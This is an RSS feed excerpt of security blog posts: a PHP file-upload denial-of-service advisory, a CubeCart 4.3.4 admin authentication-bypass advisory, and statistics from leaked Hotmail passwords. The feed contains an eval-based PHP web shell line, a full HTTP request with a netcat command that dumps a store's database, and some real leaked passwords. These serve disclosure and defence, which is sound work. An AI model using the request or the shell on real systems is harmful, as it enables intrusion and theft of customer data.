<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">load averages: 122.59, 96.03, 48.31</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">So, at this point the web server is working again but the system is still slowed down to a crawl.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">But it can serve web pages.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">12:07 &#8211; web server is responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">load averages: 63.67, 85.01, 47.26</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">12:10 &#8211; web server is responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">load averages:  6.56, 52.75, 40.03</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">12:12 &#8211; web server is responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">load averages:  0.55, 16.36, 26.50</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">The system is back to normal.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">OpenBSD recovered very well from this attack, the effect only lasted for a few minutes.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Why is that? Because of the Suhosin PHP extension. OpenBSD has this extension enabled by default.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">LFI2RCE</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">&#8212;&#8212;&#8211;</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">In some cases, this attack can be used to convert a local file inclusion exploit to remote code execution.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Most operating systems don&#8217;t delete the temporary files created by this attack even after you restart the web server.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Therefore, a large number of temporary files are left in the temporary directory (usually /tmp for Unix systems).</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">You can try to guess the name of one of these filenames and include it.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">For this to work, all the uploaded files should contain some PHP script like: &lt;?php eval($_REQUEST[x]); ?&gt;.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">On Windows systems there are only 4 characters used for generating temporary files (phpXXXX.tmp).</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">After the web server is responsive again, there are 65.535 temporary files in the temporary directory.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Therefore, it&#8217;s possible to guess the name of one of those files and include it.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">On Unix, 6 characters are used for the temporary filenames and therefore it&#8217;s almost impossible to guess the name of the temporary filesname.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Or at least, it could take a very long time. As a funny note, I managed to exploit this on a web server with 800.000 temporary files.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">After randomly guessing for 5 minutes I managed to guess the name of one of the temp files and execute PHP code.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Proof of concept</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">I&#8217;m not going to publish the proof of concept Python script.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">If you have a valid reason why you would need the proof of concept, you can contact me at this email address (bogdan@acunetix.com).</div>
<p><a href="http://www.php.net/releases/5_3_1.php" target="_blank">PHP version 5.3.1</a> was just released. This release contains a patch for a denial of service condition we&#8217;ve reported on 27 th October 2009. The problem is related with PHP&#8217;s handling of RFC 1867 (Form-based File Upload in HTML).</p>
<p>When you send a POST request to a PHP script with the content-type of <strong>&#8220;multipart/form-data&#8221;</strong> and include a list of files in that request, PHP will create a temporary file for each file from the request. PHP will create those files regardless if the script can handle file uploading or not. After the script was executed, the temporary files will be deleted.</p>
<p>The problem is that you can include a very large number of files in the request. PHP will need to create those files before the script is executed and delete them afterwards.</p>
<p>The denial of service condition appears when you create a bunch of requests, each containing a large number (15000+) of files.</p>
<p>When you send these requests to the web server, the web server collapses and stops responding because it has to process (create &amp; delete) an insane number of files in a very short period of time.</p>
<p>Any website that runs PHP and where file uploading is enabled (which is the default configuration) is vulnerable. You don&#8217;t need to have a file upload script.</p>
<p>PHP does include 2 configuration settings that are related to this situation: upload_max_filesize and post_max_size.<br />
However, these are not enough to protect us against this denial of service attack.</p>
<p><strong>Workarounds</strong></p>
<p>Currently, I&#8217;m aware of three workarounds for this problem:</p>
<p><strong>1. Disable file uploads</strong></p>
<p>If you don&#8217;t need file uploading, you can disable this feature from php.ini</p>
<p><em>file_uploads = Off</em></p>
<p><strong>2. Install PHP 5.3.1</strong></p>
<p>If you cannot disable file uploading on your website, it&#8217;s recommended to install the latest version of PHP.</p>
<p>PHP 5.3.1 includes a patch for this problem:</p>
<p>- Added <strong>&#8220;max_file_uploads&#8221;</strong> INI directive, which can be set to limit the number of file uploads per-request to 20 by default, to prevent possible DOS via temporary file exhaustion.</p>
<p><strong>3. Install Suhosin PHP extension</strong></p>
<p>The Suhosin PHP extension has an option named <strong>&#8220;suhosin.upload.max_uploads&#8221;</strong>. This option defines the maximum number of files that may be uploaded with one request and by default is set to 25. <a href="http://www.hardened-php.net/suhosin/" target="_blank">Suhosin PHP extension</a> should not be confused with the Suhosin Patch which does not protect against this attack.</p>
<p>Quote from the hardened-php website:</p>
<blockquote><p><em>&#8220;Suhosin comes in two independent parts, that can be used separately or in combination.</em></p>
<p><em>The first part is a small patch against the PHP core, that implements a few low-level protections against bufferoverflows or format string vulnerabilities and the second part is a powerful PHP extension that implements all the other protections.&#8221;</em></p></blockquote>
<p>It&#8217;s recommended to apply one of the workarounds described above as soon as possible. Below are some conclusions I&#8217;ve gathered from testing this on different systems.</p>
<p><strong>Conclusions and real life results</strong></p>
<p>This attack can make the web server unresponsive in a short period of time (under 2 minutes) with a very small number of requests.</p>
<p>Also, this attack doesn&#8217;t leave any obvious tracks in the logs (only a bunch of POST requests) and can be executed through a proxy server.</p>
<p>Some operating systems will handle this condition very badly.</p>
<p>For example in one case (a FreeBSD 7.1), the network stack completely crashed and the server was unreachable from the local network. I had to manually restart it from the console.</p>
<p>On Linux (Ubuntu), the web server will not be reachable for hours after being attacked for 1-2 minutes.</p>
<p><strong>Real life results:</strong></p>
<p><strong>1. PHP on Linux (Ubuntu 8.10)</strong></p>
<p>PHP Version 5.2.6-2ubuntu4.3</p>
<p>Timeline:</p>
<p>14:50 &#8211; started the attack<br />
14:51 : web server is no longer responsive.</p>
<p>load average: 102.02, 30.68, 10.68</p>
<p>14:52 :  web server is not responsive.</p>
<p>load average: 129.95, 49.29, 18.05</p>
<p>14:52 &#8211; attack is aborted<br />
14:53 &#8211; web server is not responsive.</p>
<p>load average: 143.58, 67.90, 26.41</p>
<p>14:54 &#8211; web server is not responsive.</p>
<p>load average: 149.60, 89.58, 37.93</p>
<p>16:05 &#8211; web server is not responsive.</p>
<p>load average: 151.64, 120.91, 60.94</p>
<p>I wanted to check how many temporary files were created:</p>
<p>$ls -la /tmp/php* | wc -l<br />
-bash: /bin/ls: Argument list too long<br />
0</p>
<p>I&#8217;ve created a script to count the files:</p>
<p>$php count_files_from_dir.php /tmp/php*<br />
2.419.649</p>
<p>So, one hour later, the web server is not responsive and there are 2.419.649 temporary files.<br />
If you restart the web server, these files are not deleted.</p>
<p><strong>2. PHP on FreeBSD 7.2</strong></p>
<p>PHP Version 5.2.9</p>
<p>Timeline:<br />
14:00 &#8211; attack is started.</p>
<p>14:01 &#8211; web server is no longer responsive (Chrome message: Error 101 (net::ERR_CONNECTION_RESET): Unknown error.))</p>
<p>load average: 87:22, 22.61, 9.9</p>
<p>14:02 &#8211; attack is aborted.<br />
14:06 &#8211; web server is no longer responsive.</p>
<p>load averages: 45.42, 42.35, 22.59</p>
<p>14:11 &#8211; web server is not responsive.</p>
<p>load averages: 26.77, 35.78, 23.49</p>
<p>The system is slowed down to a crawl.</p>
<p>Basically you cannot even write a command in a remote PUTTY session.</p>
<p>14:17 &#8211; web server is not responsive.</p>
<p>The console is continuously displaying kernel error messages like:</p>
<p>swap_pager_getswapspace(2): failed<br />
swap_pager_getswapspace(16): failed<br />
swap_pager_getswapspace(3): failed</p>
<p>&#8230;</p>
<p>pid 61248 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61251 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61146 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61063 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61101 (httpd), uid 80 inumber 5 on /var: out of inodes</p>
<p>&#8230;</p>
<p>14:23 &#8211; web server is responsive.</p>
<p>load averages:  0.79, 29.10, 37.13</p>
<p>I was trying to count the number of temporary files from the server:<br />
$ls -la /var/tmp/php* | wc -l<br />
-bash: /bin/ls: Argument list too long<br />
0</p>
<p>$ls -la /var/tmp/php</p>
<p>Display all 117490 possibilities? (y or n)<br />
So, there are 117490 temporary files left on the server.</p>
<p>One another FreeBSD 7.1 server I&#8217;ve had a very weird situation:</p>
<p>After one minute the network stack crashed and the server was unreachable from the local network. I had to manually restart the network interface from the console. The message log contains error messages like:</p>
<p>Oct 23 10:55:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.<br />
Oct 23 10:56:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.<br />
Oct 23 10:57:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.<br />
Oct 23 10:58:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.<br />
Oct 23 10:59:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.<br />
Oct 23 11:00:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.<br />
Oct 23 11:01:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.<br />
Oct 23 11:02:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.</p>
<p><strong>3. PHP on Windows: XAMPP</strong></p>
<p>XAMPP for Windows setup filename:  xampp-win32-1.7.2.exe</p>
<p>PHP Version 5.3.0</p>
<p>Timeline:</p>
<p>12:30 &#8211; started the attack<br />
12:30 + few seconds: CPU usage =&gt; 100%</p>
<p>In a few seconds, the web server is not responding anymore, 65535 temporary files are created and no more files could be created anymore.</p>
<p>On XAMPP for Windows, PHP is creating the temporary files in C:\xampp\tmp (if your XAMPP installation was in C:\xampp\)</p>
<p>The files are named phpXXXX.tmp (where X&#8217;s charset is &#8216;a&#8217;-'z&#8217;, &#8216;A&#8217;-'Z&#8217;, &#8217;0&#8242;-&#8217;9&#8242;).<br />
Example: <strong>php1A00.tmp</strong></p>
<p>This 4 char random number is a limitation of PHP on Windows. PHP on Unix is using 6 chars for its temporary filenames so it doesn&#8217;t reach this condition.</p>
<p>12:31 &#8211; attack is aborted<br />
12:39 &#8211; CPU usage is still 100%, web server is not responsive.<br />
13:08 &#8211; CPU usage is still 100%, web server is responsive.<br />
14:08 &#8211; CPU usage is 97%<br />
14:34 &#8211; CPU usage is 97%</p>
<p>Two hours later the CPU usage didn&#8217;t get back to normal. However, the web server is responding. After I manually restart the Apache process, CPU usage gets back to normal.</p>
<p>However, those 65535 temporary files were not deleted.</p>
<p><strong>4. PHP on OpenBSD 4.6</strong></p>
<p>PHP Version 5.2.10</p>
<p>Timeline:</p>
<p>12:00 &#8211; started the attack<br />
12:00 + few seconds: CPU usage =&gt; 100%<br />
12:01 &#8211; attack is aborted<br />
12:01 &#8211; web server is no longer responsive.</p>
<p>load averages: 120.42, 50.35, 20.59</p>
<p>12:04 &#8211; web server is no longer responsive.</p>
<p>load averages: 147.17, 80.74, 36.46</p>
<p>The system is slowed down to a crawl.</p>
<p>12:06 &#8211; web server is responsive.</p>
<p>load averages: 122.59, 96.03, 48.31</p>
<p>So, at this point the web server is working again but the system is still slowed down to a crawl.<br />
But it can serve web pages.</p>
<p>12:07 &#8211; web server is responsive.</p>
<p>load averages: 63.67, 85.01, 47.26</p>
<p>12:10 &#8211; web server is responsive.</p>
<p>load averages:  6.56, 52.75, 40.03</p>
<p>12:12 &#8211; web server is responsive.</p>
<p>load averages:  0.55, 16.36, 26.50</p>
<p>The system is back to normal.<br />
OpenBSD recovered very well from this attack, the effect only lasted for a few minutes.<br />
Why is that? Because of the Suhosin PHP extension. OpenBSD has this extension enabled by default.</p>
<p><strong>LFI2RCE</strong></p>
<p>In some cases, this attack can be used to convert a local file inclusion exploit to remote code execution. Most operating systems don&#8217;t delete the temporary files created by this attack even after you restart the web server. Therefore, a large number of temporary files are left in the temporary directory (usually /tmp for Unix systems). You can try to guess the name of one of these filenames and include it.</p>
<p>For this to work, all the uploaded files should contain some PHP script like: <em>&lt;?php eval($_REQUEST[x]); ?&gt;</em>.<br />
On Windows systems there are only 4 characters used for generating temporary files (phpXXXX.tmp). After the web server is responsive again, there are 65.535 temporary files in the temporary directory.Therefore, it&#8217;s possible to guess the name of one of those files and include it.</p>
<p>On Unix, 6 characters are used for the temporary filenames and therefore it&#8217;s almost impossible to guess the name of the temporary filesname. Or at least, it could take a very long time.</p>
<p>As a funny note, I managed to exploit this on a web server with 800.000 temporary files.  After randomly guessing for 5 minutes I managed to guess the name of one of the temp files and execute PHP code.</p>
<p><strong>Proof of concept</strong></p>
<p>I&#8217;m not going to publish the proof of concept Python script. If you have a valid reason why you would need the proof of concept, you can contact me at this email address (<strong>bogdan</strong> [at] <strong>acunetix.com</strong>).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/php-multipartform-data-denial-of-service/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>CubeCart 4 session management bypass leads to administrator access</title>
		<link>http://www.acunetix.com/blog/news/cubecart-4-session-management-bypass-leads-to-administrator-access/</link>
		<comments>http://www.acunetix.com/blog/news/cubecart-4-session-management-bypass-leads-to-administrator-access/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 13:13:00 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=801</guid>
		<description><![CDATA[Release Date: 2009/10/29
Author: Bogdan Calin (bogdan [at] acunetix [dot] com)
Severity: Critical
Vendor Status: Vendor has released an updated version
Release Date: 2009/10/29
 Author: Bogdan Calin (bogdan [at] acunetix [dot] com)
 Severity: Critical
 Vendor Status: Vendor has released ...]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;"><img class="aligncenter size-full wp-image-806" title="cubecart_select_admin_loggedin" src="http://www.acunetix.com/blog/wp-content/uploads/2009/10/cubecart_select_admin_loggedin1.PNG" alt="cubecart_select_admin_loggedin" width="688" height="102" />Release Date: 2009/10/29</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Author: Bogdan Calin (bogdan [at] acunetix [dot] com)</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Severity: Critical</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Vendor Status: Vendor has released an updated version</div>
<p><strong>Release Date</strong>: 2009/10/29<br />
<strong> Author</strong>: Bogdan Calin (bogdan [at] acunetix [dot] com)<br />
<strong> Severity</strong>: Critical<br />
<strong> Vendor Status</strong>: Vendor has released an updated version</p>
<p><strong>I. Background</strong></p>
<p><em>From Wikipedia</em>: CubeCart is a free-to-use eCommerce software solution, designed to allow individuals and businesses sell tangible and digital goods on line. CubeCart is not Open Source software, although full source code is available at no cost, and the custom licensing model allows for customisation of the code.<br />
&#8230;<br />
CubeCart has developed a large fanbase, due in part, to the relative ease of creating modifications and enhancements. In the September/October 2007 issue of Practical eCommerce magazine, CubeCart was placed at #1 in their list of &#8217;100 Most Notable Shopping Carts&#8217;.</p>
<p><strong>II. Description</strong></p>
<p>While auditing the source code of CubeCart version v4.3.4, I&#8217;ve found a critical vulnerability in this application. Session managament for administrative users is flawed. It is easy to bypass it without providing any credentials. An attacker can later perform any actions the administrator can, such as dumping the database, install modules (PHP code execution) and so on.</p>
<p>CubeCart is using a MySQL table named CubeCart_admin_users for storing information about administrative users.</p>
<p>When an administrator logs in, the applications stores his session ID, browser (user agent) and IP address in the sessId, browser and sessIP fields.</p>
<p><img class="aligncenter size-full wp-image-807" title="cubecart_select_admin_loggedin" src="http://www.acunetix.com/blog/wp-content/uploads/2009/10/cubecart_select_admin_loggedin.PNG" alt="cubecart_select_admin_loggedin" width="688" height="102" /></p>
<p>When the adminstrator logs out, these values are cleared. So sessId and the others fields become empty (as in an empty string).</p>
<p><img class="aligncenter size-full wp-image-808" title="cubecart_select_admin_loggedout" src="http://www.acunetix.com/blog/wp-content/uploads/2009/10/cubecart_select_admin_loggedout.PNG" alt="cubecart_select_admin_loggedout" width="692" height="97" /></p>
<p>Let&#8217;s analyze the code:</p>
<p>In <em>classes\session\cc_admin_session.php</em>, on line <strong>56 </strong>there is:</p>
<p><em>$query = sprintf(&#8220;SELECT * FROM &#8220;.$this-&gt;glob['dbprefix'].&#8221;CubeCart_admin_users WHERE sessId = %s&#8221;, $this-&gt;db-&gt;mySQLSafe($GLOBALS[CC_ADMIN_SESSION_NAME]));</em></p>
<p>This will select the fields for the administrative user corresponding to the session identified by sessID.</p>
<p>But when the administrative user is logged out, sessID is empty. So, we can bypass this check by using an empty sessID.</p>
<p>There are 2 more checks that need to be bypassed:</p>
<p>There is this piece of code:</p>
<p><em>if (strpos($_SERVER['HTTP_USER_AGENT'],&#8217;AOL&#8217;) == false &amp;&amp; $ccAdminData[0]['sessIp'] !== $client_ip || $ccAdminData[0]['browser'] !== $_SERVER['HTTP_USER_AGENT']) {</em></p>
<p><span style="white-space: pre;"><em> </em></span><em>$this-&gt;logout();</em></p>
<p><span style="white-space: pre;"><em> </em></span><em>}</em></p>
<p>The HTTP_USER_AGENT check can be easily bypassed using an empty user agent.  How about the $client_ip check?  At first I was thinking that it&#8217;s not possible to bypass that.  Let&#8217;s look at the code:</p>
<p>Filename <em>includes\functions.inc.php</em>, line <strong>36</strong>:</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2009/10/cubecart_get_ip_address_source_code.PNG"><img class="size-medium wp-image-809 aligncenter" title="cubecart_get_ip_address_source_code" src="http://www.acunetix.com/blog/wp-content/uploads/2009/10/cubecart_get_ip_address_source_code-300x248.PNG" alt="cubecart_get_ip_address_source_code" width="300" height="248" /></a></p>
<p>There are all these complex checks for validating $_SERVER['REMOTE_ADDR']. However, $_SERVER['REMOTE_ADDR'], which cannot be faked.  And then, on the second line there is:</p>
<p><em>if(isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])<br />
&amp;&amp; !detectSSL()) return $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];</em></p>
<p>This line will bypass all those complex checks. So, you just need to send an X_CLUSTER_CLIENT_IP header with an empty value.  This line of code (the one with X_CLUSTER_CLIENT_IP) looks like a hack to me.It was probably added later to fix some bug or add a new feature.</p>
<p><strong>III. Proof of concept</strong></p>
<p>The conclusion is that by entering empty sessId (ccAdmin cookie), user-agent and X_CLUSTER_CLIENT_IP header you can bypass the authentication and perform any actions an adminstrator can perform.</p>
<p>Here is a sample HTTP request that will dump the whole database in one request:</p>
<pre>---------------------------------------------------------------------------------
POST /CubeCart-latest/admin.php?_g=maintenance/backup HTTP/1.1
Host: bld02
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCpv+NVAHAgHHdvdI
User-Agent:
X_CLUSTER_CLIENT_IP:
Cookie: ccAdmin=+
Accept: */*;q=0.5
Content-Length: 434

------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="structure"

1
------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="data"

1
------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="dbbackup"

1
------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="submit"

Download Now
------WebKitFormBoundaryCpv+NVAHAgHHdvdI--

---------------------------------------------------------------------------------</pre>
<p>You can save it in a text file and use it with netcat (<a href="http://netcat.sourceforge.net/">http://netcat.sourceforge.net/</a>) like:</p>
<p><strong>&gt;nc bld02 80 &lt; db_dump.txt | more</strong></p>
<pre>HTTP/1.1 200 OK
Date: Tue, 20 Oct 2009 09:01:58 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-2ubuntu4.3
Pragma: private
Cache-control: private, must-revalidate
Content-Disposition: attachment; filename=cubecartlatest_20Oct09.sql
Content-length: 80864
Content-Transfer-Encoding: binary
Content-Type: application/octet-stream

-- --------------------------------------------------------
-- CubeCart SQL Dump
-- version 4.3.4
-- http://www.cubecart.com
--
-- Host: localhost
-- Generation Time: Oct 20 2009, 12:01 PM
-- Server version: 5.0.67-0ubuntu6
-- PHP Version: 5.2.6-2ubuntu4.3
--
-- Database: `cubecartlatest`
-- --------------------------------------------------------

--
-- Table structure for table `CubeCart_Coupons`
--

...

CREATE TABLE `CubeCart_transactions` (
   `id` int(11) NOT NULL auto_increment,
   `gateway` varchar(255),
   `extra` varchar(255),
   `status` varchar(50),
   `customer_id` int(11),
   `order_id` varchar(255),
   `trans_id` varchar(50),
   `time` int(10),
   `amount` decimal(30,2),
   `remainder` decimal(30,2) DEFAULT '0.00' NOT NULL,
   `notes` text,
 PRIMARY KEY (`id`),
 KEY `customer_id` (`customer_id`)
) ENGINE MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COLLATE=utf8_unicode_ci ;

--
-- Dumping data for table `CubeCart_transactions`
--</pre>
<p>An administrator can install CubeCart packages, and it&#8217;s trivial to create a dummy package with a shell inside and install it.  Therefore, PHP code execution is possible and quite trivial.</p>
<p><strong>IV. Workaround</strong></p>
<p>The vendor was notified about this vulnerability on 20 October 2009 and they’ve released a fix on 26 October 2009<br />
The problem was fixed in CubeCart version 4.3.5, which is available here: <a href="http://forums.cubecart.com/index.php?showtopic=39691" target="_blank">http://forums.cubecart.com/index.php?showtopic=39691</a>.</p>
<p>However, the post &#8220;CubeCart 4.3.5 Released, Maintenance Release&#8221;, doesn&#8217;t include any information about this critical vulnerability.</p>
<blockquote><p>Whats new?</p>
<p>- URL&#8217;s Changed in WorldPay module to match &#8220;RBS Worldpay&#8221; branding<br />
- PayPal 3D Secure Fix &amp; Enhancements *<br />
- Moneybookers Payment Notification Fix<br />
- Database Class Optimization<br />
- Misc bugs&#8230;</p></blockquote>
<p>I find this behaviour completely unprofessional: a vendor should inform his customers when a serious vulnerability is fixed in their product, especially when the product is processing credit card data, like CubeCart does.</p>
<p><strong>Update:</strong> CubeCart <a href="http://forums.cubecart.com/index.php?showtopic=39748">responded and informed their customers about this vulnerability</a>. That&#8217;s great <img src='http://www.acunetix.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/cubecart-4-session-management-bypass-leads-to-administrator-access/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Statistics from 10,000 leaked Hotmail passwords</title>
		<link>http://www.acunetix.com/blog/news/statistics-from-10000-leaked-hotmail-passwords/</link>
		<comments>http://www.acunetix.com/blog/news/statistics-from-10000-leaked-hotmail-passwords/#comments</comments>
		<pubDate>Tue, 06 Oct 2009 12:54:48 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=750</guid>
		<description><![CDATA[An anonymous user posted usernames and passwords for over 10,000 Windows Live Hotmail accounts to web site PasteBin.
PasteBin is currently down for maintenance but I managed to get a copy of the list and quickly ...]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">An anonymous user posted usernames and passwords for over 10,000 Windows Live Hotmail accounts to web site PasteBin.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">PasteBin is currently down for maintenance but I managed to get a copy of the list and quickly generated some statistics from these passwords.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">First, my impression is that these passwords have been gathered using phishing kits.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Even more, I think it was a badly designed phishing kit, one that didn&#8217;t further authenticated the users to the Hotmail/Live website.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">I think it just returned an error message after grabbing the credentials.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">I&#8217;m saying that because some of the passwords are repeated once or twice (sometimes with different capitalization).</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">The users didn&#8217;t understand what happened and entered the same password again and again trying to login.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Bellow are the statistics:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">The list initially contained 10028 entries.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">After I&#8217;ve cleaned up the list, removing entries without a password, I&#8217;ve remained with 9843 entries (passwords).</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">There are 8931 (90%) unique passwords in the list.</div>
<p>An anonymous user posted usernames and passwords of over 10,000 Windows Live Hotmail accounts to a web site called PasteBin. PasteBin is currently down for maintenance but I managed to get a copy of the list, and quickly generated some statistics from these passwords.</p>
<p>My impression is that these passwords have been gathered using phishing kits.  Even more, the phishing kit used most probably was badly designed, since it was one that didn&#8217;t further authenticated the users to the Hotmail/Live website. I think it just returned an error message after grabbing the credentials.  I noticed this because some of the passwords are repeated once or twice (sometimes with different capitalization).  What most probably happened, is that the users didn&#8217;t understand what was happening, and they tried to enter the same password again and again, thinking the password was wrong.</p>
<p>Bellow are the statistics:</p>
<ul>
<li>The list initially contained 10,028 entries.</li>
<li>After I&#8217;ve cleaned up the list, like removing entries without a password,  I had 9843 valid entries (passwords).</li>
<li>There are 8931 (90%) unique passwords in the list.</li>
</ul>
<ul>
<li>The longest password was 30 chars long: <strong>lafaroleratropezoooooooooooooo</strong>.</li>
<li>The shortest password was 1 char long : <strong>)</strong></li>
</ul>
<p>Top 20 most common passwords:</p>
<ol>
<li><strong>123456 </strong>- 64</li>
<li><strong>123456789 </strong>- 18</li>
<li><strong>alejandra </strong>- 11</li>
<li><strong>111111 </strong>- 10</li>
<li><strong>alberto </strong>- 9</li>
<li><strong>tequiero </strong>- 9</li>
<li><strong>alejandro </strong>- 9</li>
<li><strong>12345678 </strong>- 9</li>
